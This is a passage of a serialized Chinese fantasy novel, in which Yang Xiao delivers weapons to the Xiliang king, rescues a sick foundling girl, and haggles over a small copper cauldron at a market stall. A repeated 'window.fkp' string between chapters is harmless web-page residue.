在杨笑胸有成竹的时候王伯却在担心另一个问题:“可划拨给我们的试制费用不多了,最多还能维持一个月的花销。” 这个问题让杨笑不得不重视。他托起一只手摸了摸下巴,思量一下后说道:“我这一去一回说不定要两个多月,要是这样的话……你们就先减少产量,尽量多维持一段时间,等我回来再想办法。” 王伯点头称是。杨笑转过身对另一边一位面容消瘦,身形有些佝偻的异装老者说道:“古拉族长,若此行成功,我们便可走上正轨,你羌越族便是铸剑有功,届时,我便向王爷请命为你族赐下土地。” 这位老者便是那西南小族的族长。古拉族长闻言便要拜谢杨笑,被杨笑拉住了:“事成之后老族长再谢不迟。” 第二天上午,杨虎、杨豹兄弟领着贡州城总兵李伯通查验了所造兵器。 这李伯通虽是武将,却生的面白肤细。据说这位李将军乃是一名文士出身,因此,身上带了几分文人气息。早年的李伯通家境贫寒,也做过许多苦工,从军后因善用计谋立下了不少的军功,因此留用军中一路做到了州府总兵。李伯通查验了所有的器械后,对新造的军械大为满意,直言比原有的军械好上一大截。当听说成本只有原来的六成左右时,高兴之余便要上奏西梁王,请求贡州城的军队优先装备。杨笑见李将军大悦便将钱款不足一事道出,李伯通当即表示所需钱款贡州城可先行拨付,要他们务必全力赶制。 几日后杨笑带着所有试造的兵器甲胄往西梁城而去。 杨笑将新造的兵器甲胄献给西梁王后会得到一个什么样的结果?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第四十四回 归途救孤 话说杨笑领着一队军士及几个家丁,带上打造完毕的军械样品往西梁城而去。一路上遇水乘舟,上陆驾车,经过近一个月的路程后终于来到了西梁城。 西梁城外的校场中,西梁王带着许多军中干将、老卒仔细的查看了杨笑带来的军械,对其甚是满意。当得知大批量制造的话所用成本有望再下降一到两成后,西梁王当即表示要杨笑姐弟大量打造,所用钱款不是问题。经过众将士的一番试用讨论后,决定重甲步骑用全套铁制重甲;轻甲步骑用铁甲、皮甲和布甲混合制成的轻甲;像弓弩手和操作抛石机的抛射手这类一般不需要冲锋陷阵与敌军短兵相接的士兵则穿皮甲和布甲混合制成的轻甲。 一经商定,杨笑立即返程按照所定方案赶制。此后又请来有经验的老工匠和军中老卒试用后,在盔甲的样式布局和制作工艺上做了些细节上的调整,此是后话不表。 只说杨笑得到西梁王的肯定后从西梁城的仓库里领了一大堆的物资和钱款往回赶。这一天杨笑来到一条大河边。此河名为沉沙河,乃是西凉境内的一条大河,河水源自雪山之巅,一路穿过沙漠戈壁而来,透过清澈的河水可以看到从沙漠中带来的黄沙沉淀在河底而得名。从这里改乘舟船再走上几天就能进入贡州境内了。 一连在河上漂了几天,途中经过一处码头时船只靠岸,杨笑派人换上便装到岸上的商铺里为船上采购些补给。 宽阔的河面上无遮无拦,中午的太阳照在人身上暖洋洋的,令人昏昏欲睡。杨笑趁着这段闲暇时间在船舱内运功修练。正运功间,忽然听到外面一阵喧闹,杨笑于是收了功法出舱查看。 有两名士兵将一个浑身是水的瘦小男子丢到了杨笑的面前。 “禀校尉,抓了一个偷盗的毛贼。”一名士兵躬身禀报道。 不等杨笑开口,那人便跪地磕头求饶不止,把杨笑脚下的甲板都撞的“嘣嘣”响,当真是磕头如捣蒜。杨笑问道:“你可知偷盗的乃是军船。” 那人哭着求饶道:“小人不知,小人不知呀!小人只是见有两个仆人在船头上打盹,才报着侥幸斗胆上船的,谁知刚一上船竟然冲出来一队甲士,这才知道是军船的,将军饶命啊!” 偷盗军船,人脏具获又供认不讳,这没什么可说的。杨笑冲一旁的甲士摆手道:“将他交于当地官府吧。” 左右军士应声:“是!” 偷盗军船乃是死罪!那人一听要把他送官,挣扎着求饶道:“将军饶了小人这一回吧,小人也是迫于无奈才做了这不该做的事情,将军饶命啊将军!饶命啊!” 像这样的说辞真是烂大街上都不一定有人要,说不定下一句就是什么“上有八十岁老母,下有没断奶的孩子”之类的话。杨笑并不想理会这种毛贼,转身就要回船舱。这时,那人也不知哪里来的力气竟然从两个军士手中挣脱,连滚带爬地来到杨笑跟前,抱住杨笑的大腿号啕大哭:“小人也是第一次干这不义之事,家中瞎眼的老母还需要小人照顾,还有五岁的小妹在等我买药回去救命啊!将军……将军要是送我到官府就是一下子要了我一家三口的命啊将军,你就饶了我这一回吧!” 真是果不其然。杨笑听了他的话顿时觉得有些好笑:“看你的年纪比我都要大上许多,敢问你家老母亲今年又是贵庚啊?她上哪儿再给你生一个五岁的妹妹?” 那人止住哭声:“将军若是不信可到我家中一看,但凡有半句假话将军立时斩下我的头颅。” 杨笑心里笑道:“听说过老爷子老来得子的,没听说过老太婆老来得子的。”但看那人一脸坚定,说的不容置疑一般,一时好奇心上头,来了兴致。杨笑低头问那男子:“你家在哪儿?” 那人一听有希望连忙抹了一把泪水用手一指:“沿河走上三里路便是。” 杨笑一听,倒也顺路,便说道:“暂且押在船上,若他所说非实再送官不迟。” 等采买之人回来开船上路。路上从那人的口中得知其原本也是个书生,只是如今家道中落了,这次出门本来是要到镇上给家里请郎中看病买药的,谁知道半路上又把好不容易借来的钱给丢了,往来路上找了半天也没找见,正着急间,看到杨笑的船上只有两个仆人在船头上打瞌睡于是就想到了从船上偷点东西好换几个钱买药。到了那人说的地方杨笑等人乘小舟上了岸。 那人把杨笑领至一处小院前。土坯垒就的门楼破败不堪,仿佛随时都能倒塌,残破的院墙用篱笆修补了缺口。 那人推开柴门。柴门打开时撞到了门檐下挂着的铃铛。“叮铃”……一声清脆的响声传来,杨笑的脑海中顿时一个激灵。那声音悦耳动听,仿佛能穿透人的耳膜直击灵魂深处。杨笑抬头看去,只见门檐下挂着一只青灰色的小钟,那声音就是由此钟发出的。 那人将杨笑让入院中,这时候院子里一间破旧的屋子里头出来一名头发灰白的老妇人。老妇人的一双眼只留眼白露在外面,看上去有些吓人。靠着一根树枝做的拐杖在前面探路,一路摸索着走出来,老妇人站在门口开口问道:“阿大呀?是你回来了吗?阿大?” 那被称作阿大的男子连忙上前扶住了老妇人:“娘,是我,我回来了。” 老妇人摸到儿子身上未干的衣袖问道:“你身上怎么湿了?药抓回来了吗?”阿大低头不说话。老妇人又问道:“你是不是带了人回来?是郎中吗?” 阿大磕磕绊绊的说道:“不……不是……不是郎中。” “那是谁呀?”老妇人问道。 “娘,我带了……带了……带了一位大人来咱家……。”阿大有些不知道该怎么说。 “大人?什么大人?你妹妹可还等着你请郎中救命呢!”老妇人有些不明白儿子在说什么。 杨笑看着眼前的母子心中一动,他上前两步轻声道:“老妈妈,我就是郎中,你家孩子在哪儿呢?能让我看看吗?” 老妇人闻言赶忙将杨笑往屋里让:“诶呀!是郎中来了?你快救救这个孩子吧!”老妇人一边把杨笑往屋里让一边还在埋怨自己的儿子:“你这孩子,郎中来了怎么也不早点说一声……。” 屋内昏暗狭窄。 在角落里一张用石头和树枝搭起来的小床上躺着一个约摸五六岁的小女孩儿。小女孩儿很瘦弱,只比皮包骨头略强了一些,那又细又瘦的小胳膊仿佛让人轻轻一捏就能碎掉一般。昏睡中的小女孩儿紧锁着眉头,透出痛苦的表情,苍白的脸上有些许汗水渗出。 到底小女孩的命运如何?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第四十五回 稚童纯灵 话说杨笑进到那间破旧的屋子里,屋内昏暗狭窄,在屋子的角落里,一张简陋的小床上躺着一个约么五六岁的小女孩儿。在昏睡中依然露着痛苦表情的小女孩儿十分的瘦弱,只比皮包骨头略强了一些,那又细又瘦的小胳膊仿佛轻轻一捏就能碎掉一般。小女孩儿苍白憔悴的脸上渗出些许汗水,身上还带着累累的伤痕。 趁着杨笑查看病情期间老妇人向杨笑唠叨着:“这孩子是小人的儿子前几天从河边捡来的,小人的眼睛瞎了看不见东西,原想着留在身边,日后也好有个为自己洗刷养老的人,谁知道这孩子打从捡回来后就一直高烧不退,看来是养不活了。” 杨笑为小女孩查看一番后回头对阿大说道:“去弄些热水来。” 杨笑为小女孩儿擦洗了一下,又在额头上敷了毛巾,然后从怀里掏出一个小布包来。打开布包里面是一排银针,杨笑用针银为小女孩儿扎了几针,行针片刻后将银针取下。这时小女孩儿“嘤咛”一声,但并未传醒。 老妇人见小女孩儿有了动静连忙感激道:“有动静了,有动静了,有动静就好,有动静就有盼头。真是谢谢这位郎中了。” 杨笑止住道:“这孩子的病要好起来还早得很,现在也只是暂时止住了病情。”杨笑转而对阿大说道:“至于你犯下的事……。” 不等杨笑说完一旁的老妇人闻言惊道:“犯事?阿大你犯了什么事?” 阿大扑通一声跪在老妇人跟前哑着嗓子哭道:“娘!儿子不能再孝顺您老了,儿子偷了军船,这位大人就是来抓儿子去见官的。” 老妇人闻言身体猛然一振,手里的拐杖也掉在了一边,她一把搂住了自己的儿子痛哭出声:“我的儿啊,你怎么这么傻呀!……。”母子二人相拥而泣。 对这对母子而言这件事无疑是一桩滔天的祸事。 杨笑轻咳一声,老妇人这才反应过来,连忙跪到杨笑面前央求:“大人,大人,阿大他是个好孩子,他从来没有干过什么坏事,”老妇人边说边指着床上的小女孩儿:“他也是为了能救这个孩子呀!您抓我吧,老婆子这条命活着也是没用,您要抓就抓我吧,您抓我吧大人!求求您了大人!……。”老妇人的心情显然是十分的激动,说话间就要把头往地上磕,看那样子只要一下就会碰个头破血流。 面对眼前的情景杨笑又怎么忍心再追究下去。杨笑扶起就要磕头在地的老妇人对阿大说道:“念在你也是个孝子,又是无知初犯,这一次的罪名我就不追究了。”母子二人闻言跪地感谢杨笑的大恩大德。杨笑命人取了一些银子来。交到阿大手中:“这些银子你拿着,修一下屋子再买两亩薄田或者是做些小买卖。至于这个孩子嘛……留在你这里多半也是养不活,不如就把她交给我吧。” 那母子二人自无不可。阿大对杨笑千恩万谢道:“大人的大恩大德小人如何报答,定当牛做马以报万一。” 杨笑望向门外:“你门上那个铃铛是从哪里来的?” 阿大听到杨笑的话先是愣了一下,然后连忙回道:“是这个小孩儿身上带来的。母亲看不见东西,我就把它挂在院门上,这样有人推门的时候母亲就知道有人来了。大人既然喜欢,我这就为大人取下来。” …………。 船舱中杨笑把握玩着手里的铃铛,身边躺着那个依旧在昏睡中的小女孩儿。 这铃铛有拳头大小,似乎由青铜铸成,表面布满了一道道奇异的纹路,说文字不像文字,说图案却又不像图案。轻轻一摇,铃铛发出的声音清脆悦耳,仿佛直达人的心田,令人听了顿觉心情舒畅。杨笑正是相中了这悦耳的铃声才讨要来的,想着带回去给小黑带上倒是合适。把玩了一会儿便把那铃铛放进了小女孩儿的怀里,看这孩子的病情暂时还算平稳就转身又去练功了。 船只继续延着沉沙河前行,途中杨笑又为小女孩儿行了几次针,还在一个小镇上为她抓了几剂药,细细的熬好后一点一点的喂她喝下。经过这一番调养小女孩儿的烧总算是退下来了,但依旧处于昏睡当中。 两天后进入了贡州府境内,船只靠岸上陆改乘车马。杨笑来时原本是骑马的,但为了照顾小女孩儿的病情特意雇了一辆马车。因为担心小女孩儿的身体受不住这一路上的车马颠簸,杨笑一路上都把她抱在怀里。 兴许是自己有一个悲惨童年的缘故,长大后的杨笑总是见不得有小孩子受苦,从见到这个小女孩儿的那一刻,杨笑心里最柔软的地方无形之中就被触动了。在他的内心里仿佛与面前的这个小女孩儿产生了一种共鸣,正是这种莫明的感觉让他忍不住要救下这个可怜的孩子。 在贡州府交接完毕后杨笑马不停蹄的赶回了山庄。当他把这个可怜的孩子抱到姐姐面前时,杨落儿竟是忍不住心头一酸落下几滴眼泪来,姐弟二人都从这个孩子的身上看到了自己的影子。 杨落儿把小女孩儿安置在自己的房间里日夜悉心照料,在姐弟俩的精心照看下小女孩儿终于一天的好了起来。先是身上的伤渐渐的愈合,再是从一开始的昏睡不醒到后来不时的能睁一小会儿眼睛;从水米难进到能后来饭喂到嘴里知道自己往下咽;从张嘴的力气都没有到能够微微的吐出一两个字来……。 杨落儿从来都是一个心善又多愁善感的女子,看着小女孩儿一点点的好起来总算是把心里的一块石头放了下来,一边擦着泪水一边哽咽着:“活了,活了,总算是活了。” 这一天晚饭后,忙了一天的姐弟俩坐在屋檐下的台阶上,斜靠着小黑,杨落儿靠在杨笑的肩膀上,两个人望着天上的星空轻轻的聊着,回忆着,展望着。小时候杨落儿是杨笑的依靠,杨笑常常依偎在姐姐的怀里,只有躺在姐姐的怀里晚上才不会做噩梦。长大后杨笑就成了杨落儿的依靠,靠在弟弟强壮的肩膀上杨落儿总能感受到无比的平静,无比的安心。 杨笑一只手揽住姐姐的肩头陪姐姐聊着,一只手搭在小黑的身上,聊到高兴处两个人还会在小黑身上宠爱的揉弄一下,小黑就像一只小猫般用它那颗大脑袋在杨笑的腿上蹭来蹭去,也会像一条小狗似的摇着尾巴。 就在姐弟俩沉浸在这份平静幸福之中时,本来爬在杨笑姐弟身后安安静静的小黑突然起身抬头向身后望去。姐弟二人发现小黑的异状也跟着回头望向身后。只见身后一个瘦弱的小身影双手抓着门框颤颤巍巍的靠在那里。 看到小女孩儿后,本就活泼好动的小黑立刻起身跑向小女孩儿,姐弟俩的心都抬到了嗓子眼儿,生怕小黑把这孩子给吓着了。 小黑小跑着来到小女孩儿的跟前伸出硕大的脑袋凑近她,在她身上嗅了嗅。谁知道小女孩儿不但一点害怕的意思也没有,反而伸手在小黑的脸颊上摸了摸,就像是在摸自家养的大猫似的。看到这儿姐弟俩不约而同的轻出了一口气,然后又不约而同的看向对方相望一笑。 从这之后小女孩儿的身子恢复的一天比一天快,原本憔悴苍白的小脸儿也眼见着红润饱满了起来。从小女孩儿的口中知道了她的名字:“纯灵”。至于其它的,再问她就只说是什么也不记得了。 好起来的纯灵对杨笑十分的依赖,总是粘在杨笑的身边就像个跟屁虫似的,只要杨笑的双手闲着就要让杨笑抱抱。杨笑对纯灵也是十分的宠溺,只要得闲,不是把这个小跟屁虫抱在怀里就是把她扛在肩膀上。 杨笑出门时纯灵就自己跟小黑玩。说起这个来也是奇怪,小黑这个平日里生人勿近的家伙自从见到纯灵后就跟转了性子似的,无论纯灵怎样蹂躏它,它还是跟条哈巴狗似的屁颠儿屁颠儿的跟在纯灵后面,那幅贱贱的奴才像简直比在杨笑姐弟身边时还要听话。 姐弟俩多方打听也没有得到关于纯灵的那怕是一丝线索。在杨落儿看来自己好歹还有个弟弟能够相依为命,而纯灵就真的是一个比自己还要不幸的人儿了。杨落儿实在是可怜这个孩子,就认她做了自己的妹妹。 都说小孩子的笑是这个世界上最好看的表情,与姐弟俩慢慢熟悉起来的纯灵这一天终于向杨笑露出了一个笑容,那笑容就像是天底下最好看的花儿开在了她的脸上……。 欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第四十六回 西梁城 却说杨笑回到山庄后与姐姐扩大了工坊的规模,招揽了许多的工匠,军械打造的速度提高了许多。 这一天,杨笑正在书房里翻看着书案上的一堆东西,从门外传来了家仆的声音:“少爷,王府来人了。” 杨笑连忙抬头道:“快请到中厅,我随后就到。”杨笑把桌上的东西赶紧收拾好,拍了拍手上的灰,整理了一下衣服迈步出了房门。 来至中厅见一小吏正在厅内等候。那小吏见杨笑进来起身道:“见过杨校尉。” 杨笑迎上前拱手道:“杨笑来迟,让上差久等还望见谅。” 那小吏客气道:“杨校尉客气了。” 杨笑问“不知王爷有何传令?” 小吏取出一封明黄信笺,信笺上用朱红小篆写了西梁王府字样并附有印章,上边还用火蜡封了口。小吏将信笺递给杨笑:“王爷巡视边境,命杨校尉伴驾随行。” 杨笑接过信笺看了一眼:“有劳上差了,杨笑定会准时到达。” 送走了小吏,杨笑回到房中将信笺拆开,信笺里是一张调令,上面写着:西梁王例行秋巡,命督造校尉杨笑携带新造军械于某月某日前到西梁城校场待命。 杨笑正想着找个时间将新造的盔甲送往西梁城,这次陪王伴驾正是一个试用新盔甲的好机会。 杨笑看完信笺的内容后来到姐姐的房间,杨落儿正在房间内核算账目。杨笑把信件交给姐姐看过,杨落儿难免要叮嘱杨笑一番,杨笑在旁一一点头应“是”。 不多日,杨笑便启程上路。 来到西梁城,将带来的物品向王府差役交接清楚后,杨笑便在城里的驿馆中暂且住下,只等出发的日子到来。 西梁城乃是一处枢纽之地。入了西梁境,无论你是南下还是北上,东来还是西往,大多数情况下都需要经过西梁城,城外的朝天河更是可以乘船一路向东,过二山关直通周王朝的腹地,故而西梁城是西梁境内最大最繁华的城池。 离出发还有些日子,头两回来西梁城都没顾得上在城里看看,所以这几天杨笑打算在西梁城里好好转一转。 第二天一早杨笑在驿馆门口叫住了一辆马车。赶车的是一个约么二十七八岁的年轻人。 帮人跑腿赶车,大小也算是一桩买卖,做买卖的就讲究个笑脸相迎。多露点笑脸儿,人勤快点儿,话再甜一点儿,买卖做起来自然就会顺畅一点儿。 年轻的车夫靠着这当子小买卖养家糊口,自然也是勤快的很。只见他把一张脸笑成了一朵花似的很是殷勤的小跑到杨笑的跟前,一边点头哈腰一边忙不迭的问道:“这位客官好,敢问客官可有什么让小的效劳的?” 杨笑随意的往两边张望了一下问道:“这城里有什么好去处吗?” 车夫又问:“客官是要买东西呢还是想看景儿呢?” 杨笑随口道:“东西也买一些,风景呢也想看一看。” “客官是头一次来西梁城吧?”年轻车夫一边说着一边在前面为杨笑引路。 “哦,来到是来过两次,不过都是匆匆而过。”杨笑边下台阶边随意的说着。 “既然是这样,那我就为客官介绍一下咱们西梁城的好去处。” “那自然再好不过。” 来到马车跟前,车夫撩起车帘:“客官您请上车坐好,咱们边走边说。” 年轻车夫自称是西梁城中土生土长,对城里的一应事物都颇为熟稔,听说杨笑要在城里逛逛就热心地推荐起来。杨笑也想知道西梁城里都有什么好去处,便与他攀谈起来,结果年轻车夫的话匣子一打开就有些收不住了。 只听那车夫道:“客官您若是要在西梁城里买东西逛风景,那您找我算是找对人了。这西梁城里的大街小巷,大门小户,各处坊市庙会还有风景名胜之地就没有小人不知道的。先说这买东西吧,西梁城内四大主城门所对应的四条街道是城里最热闹繁华的去处。街道两边的商铺、客栈、酒楼那是一家挨着一家。这些商家卖的东西都是上等货色,当然了价格也要贵上许多。不过城里还有两处坊市,坊市内也有许多商家,那里面吃喝玩乐样样居全,可以说是包罗万象,热闹非凡了。除了有门面的店铺外还有许多在地上摆摊经营的小商小贩们,这些小摊上当然没什么高档的东西了,嗯……价格当然也就很便宜了。不过时不时的也会有一些好东西出现在这些地摊上,要是有幸买到的话,那可真是有不小的赚头,这个呢就叫做捡漏……。” 车夫一口气说了一大堆,杨笑在车里听的也是津津有味。年轻车夫咽了下口水接着侃侃而谈:“城内城外也有几处好景致。那落凤坡便是一处风景宜人的地方,山上的栖凤阁是那些文人雅士们聚在一起吟诗作对,舞文弄墨的地方。呃……不过要让是让小人这样的粗人看,他们也就是找个借口喝点小酒罢了,作出来的诗……也就那样吧。” 年轻车夫显然对那些文人雅士的作派不是很感冒。车夫接着口若悬河的说道:“山脚有一个栖霞湖,常有才子佳人泛舟湖上,那里发生的许多事情要么传为一段佳话,要么就成了人们茶余饭后的笑料。还有一座白马寺,寺庙里香火鼎盛,来往的香客那是络绎不绝,听说灵验的很呐!赶哪天得空呀,我也去拜拜。香客里面常有一些漂亮的小娘子,看着就讨人喜欢,谁要是能娶一个回家……啧啧……真是值了。不过客官要是想找个姑娘乐呵乐呵,再喝上一杯花酒放松一下身心的话……烟柳巷绝对是个值得一去的好地方。烟柳巷是咱们西梁城出了名的烟花巷弄,其中醉春楼当是首屈一指,呃……只不过现在还不是时候,得等到掌灯以后才行。那里面的春花姑娘呀……哎哟喂!那叫一个迷死人咯……。” 醉春楼是西梁城里有名的销金窟,这小车夫估么着是送哪个外来的有钱客商去过那么一两次,至于他口中的春花姑娘么……呵呵……估计模样也就那么着吧。必经像醉春楼这样的勾栏会馆,里头真正有姿色的头牌花魁都是为那些达官显贵,富商巨贾们豪掷千金的时候准备的,轻易不会抛头露面,甚至有一些还不是光有钱就能见到的,你还得有一些个拿得出手的文采才能有幸一睹芳容。要是还想着一夜春宵的话……那可就得有点真本事再加上真金银了,否则的话那是想都不要想,哪是他这种人能够见到的。 杨笑见他越说越离谱,忙打断道:“好了好了,我们还是先去逛逛那些商铺吧。” 年轻车夫这才收住了话匣子,驱车拐入了一个街口。 车夫驾着马车三拐两拐,不一会儿来到一条大街上。此街甚是宽敞,五六辆马车并行也是绰绰有余。街上车水马龙,人来人往,街道两边的高楼鳞次栉比,楼下的店铺一家挨着一家,真是好不热闹。听车夫说这条街是城内四大主街之一的南大街,由此一路向北可达西梁王府,向南走,出城后可乘舟一路东行直达圣京。是西梁城里最繁华的一条街道。 杨笑在街上逛了半天,买了一些绫罗布匹,金银首饰,还有几套新衣裳。车夫见他尽买些女子所用之物就说道:“客官是给心上人买的礼物吧?这家姑娘可真是有福了。”杨笑随口应付两声。年轻车夫以为杨笑是不好意思,也就没有多说,而是带着他逛了几家卖胭脂香粉的商铺,杨笑也买了一些胭脂水粉。一直逛到了中午,杨笑在一家酒楼要了些酒菜,年轻车夫也跟着沾光喝了几杯。酒足饭饱后又在街上逛了一阵子才回到了驿馆。 杨笑下车后丢给车夫一块银子:“这些够不够?” 车夫见了银子顿时喜笑颜开:“够!够!就是包下小人的车十天都有余了。” 杨笑又道:“你明天一早还来这里等我,余下的也不用找了,就当是你陪我这两天的辛苦钱。” 车夫点头哈腰地谢过了杨笑,杨笑叫人将所买物品搬回房间。晚饭后,杨笑像往常一样打坐运功一夜自不用提。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第四十七回 暖手炉 第二天。 杨笑早上出门的时候,年轻的车夫早已在驿馆外的路边上等候多时了,见杨笑出来早牵着马车迎了过来。杨笑上车后吩咐一声:“去坊市看看。”年轻车夫应一声“好嘞!”扬鞭而去。 一路上年轻车夫自然少不了向杨笑讲述一番以往见到的听到的关于坊市里的一些趣事,很快二人就来到了坊市内。 不同于周王朝其它的地域有什么重农轻商;什么万般皆下品唯有读书高;还有什么好男不当兵,好铁不打钉之类的,或这样,或那样的规矩呀说法呀这一类的东西,在西梁境内既鼓励农耕也鼓励经商,当然了更鼓励热血男儿走上疆场去建功立业,保家卫国。总之,在这里只要是能让百姓们过上好日子,又不触犯朝庭律法的门路西梁王都鼓励,似乎是有些百无禁忌。 坊市里面确实像年轻车夫说的那样热闹。一条条并不宽敞的街道纵横交错,街上人头攒动,接踵摩肩。道路两旁的商铺和摊位一个挨着一个,攀谈声、吆喝声、熟人见面的招呼声、吵吵嚷嚷的叫骂声,声声入耳。在人声鼎沸之中还掺杂着马蹄声、狗叫声、砧板上的剁肉声、叮叮当当的打铁声,热闹非凡。整个坊市里面卖布的、卖鞋的、摆摊卖菜的、打把式卖艺的……总之是干什么买卖的都有。 杨笑在坊市内胡乱逛了一阵子,也见识了许多新鲜事物,逛着逛着就走到了一个地摊边上。 杨笑站在小地摊的边上一件一件的打量着地摊上的东西。摊主是一位留着一缕花白山羊胡子的瘦小老头,见杨笑看的仔细便操着有些尖利的嗓音招呼道:“这位小兄弟可有看中的东西?小摊的买卖虽小却也是诚信经营,童叟无欺啊!” 杨笑抬头扫了一眼摊主,见这摊主的身后还靠着一面招子,上面写着“神机妙算”四个大字,旁边还有“能知过去未来,能算凶吉祸福”两行小字,还写着测字呀、算命啊、看阴阳宅呀等等的这么一些东西,算是业务介绍吧。 杨笑抬头看见摊主身后的招子后先是一乐:“哟!您老这摆摊卖东西还带算命的呢?” 摊主听到杨笑的话挺了挺腰板,把那杆招牌往面前一竖,露出一个老夫我很是可以的表情,伸出手向杨笑一字一顿的介绍道:“神机妙算!算不准,不要钱,算准了,看您的心情,随缘。”那意思再明白不过了,那就是我要是没算准呢,您也别说什么,您不用给钱就得了,我要是算准了也不强要您的钱,您看心情多少给个就行。 转眼间就化作算命先生的山羊胡子老头又向杨笑问道:“怎么样小兄弟,来一卦?” 杨笑还从来没见过这种卖东西还兼职算命的,一时兴起便答应道:“好哇!” 反正也是出来玩儿的,准不准的也就图一乐。 杨笑报上了生辰八字,摊主装模作样的掐算了半天,又把杨笑的相貌好好的端详了一番,再抓着杨笑的手仔细的看了手相,然后就故作惊讶开口道:“咝~诶呀!小兄弟这命当真是贵不可言呐!”说完这句话山羊胡子老头就话风一转,说道:“可惜!可惜!” 杨笑听了直在心里觉得好笑,难不成天下的算命先生都是一个师父教出来的?算来算去都是那几套说辞。于是杨笑忍着笑问道:“可惜什么?” 山羊胡子老头一本正经的接着说道:“可惜的是美玉染瑕,小兄弟的命中多多少少有那么一点小坎坷。不过不要紧,只要小兄弟你愿意,老夫可以为你做一场法事,便可将其尽数化去。” 杨笑对摊主的话一笑置之,心说:“你这算命的技术也不咋地,连把话说一半留一半钓人胃口的招式都不会,也就是兼职算命吧,要是专门靠这个吃饭非得饿出个好歹不可。” 摊主见杨笑不说话也不问他自己算的到底是准还是不准,而是把那杆招子又靠在身后的墙上,双手插在袖口里往后一靠,靠在那杆算命招子上眯起眼睛来也不再说话了。 杨笑自顾自的蹲在地摊边上看了一会儿,伸手拿起一个细颈小口的瓷瓶在手里翻来覆去的看了起来。那山羊胡子摊主斜靠在那里拿眼偷瞄着杨笑,见杨笑在摊子上又挑起了东西,就又坐直身子推销了起来:“年轻人好眼力啊!这可是个好东西,少说也有四五百年的年头了。你看这造型,这釉色。小兄弟,你买到就是赚到呀!”在算命先生和杂货摊老板两种身份之间的转换不可谓不顺畅 杨笑并不理会摊主的话,而是将手中的瓷瓶又放回了原位。摊主见状脸上露出一点悻悻然的神色,不过很快就掩饰过去了。 杨笑放下瓷瓶后又拿起了一个表情似喜非喜的青铜塑像来。摊主又道:“这一件就更是了不起了,这件青铜兽像可是有三四千年的历史了。我就说小兄弟的眼力好嘛,一出手就都是好物件,小兄弟要是相中了我算你个便宜价,就当是交个朋友,保证不让小兄弟你吃亏……。” 那摊主还要喋喋不休的说下去,杨笑笑道:“怎么我看哪个哪个就是好东西,不是几百年就是几千年,我书读的可不多,你可不要骗我。” 摊主嘿嘿的干笑两声:“小兄弟呀,不是我自卖自夸,你见过哪个做买卖的说自己卖的东西不好的?” 杨笑哦了一声:“那你这里可有什么不好的东西吗?” 摊主被杨笑一句话问的有些噎住了,他咽了下口水说道:“……你这年轻人可真行,我摆摊这么多年,头一次见到像你这么问的。”末了摊主咬咬牙又说道:“你要是真有心买,我这里还真有一件不太好的东西。” 杨笑闻言:“哦!那我倒要看看你这不太好的东西到底是个什么东西。” “你等等啊。”摊主说完小心翼翼的从怀里掏出一个红布包裹,打开红布,里面露出一个小鼎来。 这只小鼎确实很小,比杨笑的拳头还要小上一圈,要是换做是一个女子的话,用一双纤纤小手应该刚好能把它捧住。 小鼎呈暗红色,微微泛点黄,似乎是用红铜打造而成,只是色泽有些暗淡陈旧。鼎有三足,鼎身上刻有漂亮的花纹,还有几处凹槽,看起来似乎是用来镶嵌宝石的地方,只是上面的东西早就不知道到哪里去了。鼎盖上缕空出一些奇异的图案,也看不出来是什么。一个色泽混浊的白玉珠子镶嵌在鼎盖上面一个凸起的小钮上,便是鼎盖的抓手了。 摊主把小鼎放到杨笑的面前,神神秘秘的说道:“小兄弟,这可真是一件好东西,是老夫偶然的一次机缘,从一处古迹当中得来的。具体是什么东西我也不清楚,不过看其这般精美的做工,定是一件价值不菲的宝贝。” 杨笑拿起那只小鼎,左看看,右看看,除了在做工上还挺精美细致外,其它的实在看不出来哪里像是个什么宝贝。 摊主一声不吭的等杨笑看了一会儿,估摸着差不多了,便问道:“怎么样,小兄弟,这件东西可还相得中?” 杨笑抬眼看了他一下没有说话。摊主接着说道:“你要是有心买,我吃点亏,你给这个数怎么样。”说着将手伸到杨笑的面前。 杨笑盯着他的手憋了半天问出两个字来:“五两?” 摊主立刻把眼一瞪:“什么五两,是五百两!”摊主似乎是被杨笑的话惹的有些急火了,声音不由自主地高了几分,引得周围的人纷纷的看了过来。摊主也意识到自己有些失态了,连忙贼眉鼠眼的往四周瞧了瞧,见没人再注意自己这边就又探身小声的对杨笑说道:“我说年轻人,你可真会打岔,要是五两的东西我至于费这么大劲儿,这么小心吗?” “可你这也值不了五百两呀!?”杨笑显然不认同摊主说的价格。 “哎呀!小兄弟。五百两真的不贵了,这可真是一件宝贝呀!”摊主坚持自己的说法。 “什么宝贝?我看这不就是一个……嗯……一个……哦,暖手炉。对,没错,这就是一个暖手炉。”杨笑一边摆弄着手里的小鼎一边说着。 “暖手炉?”摊主瞪大了双眼,似乎不相信自己耳朵听到的:“好,好,好,就当它是个暖手炉,你到底能给多少?”摊主也被杨笑搞的有些无语了。 “那它也不止五百两啊?”杨笑试探着说道。 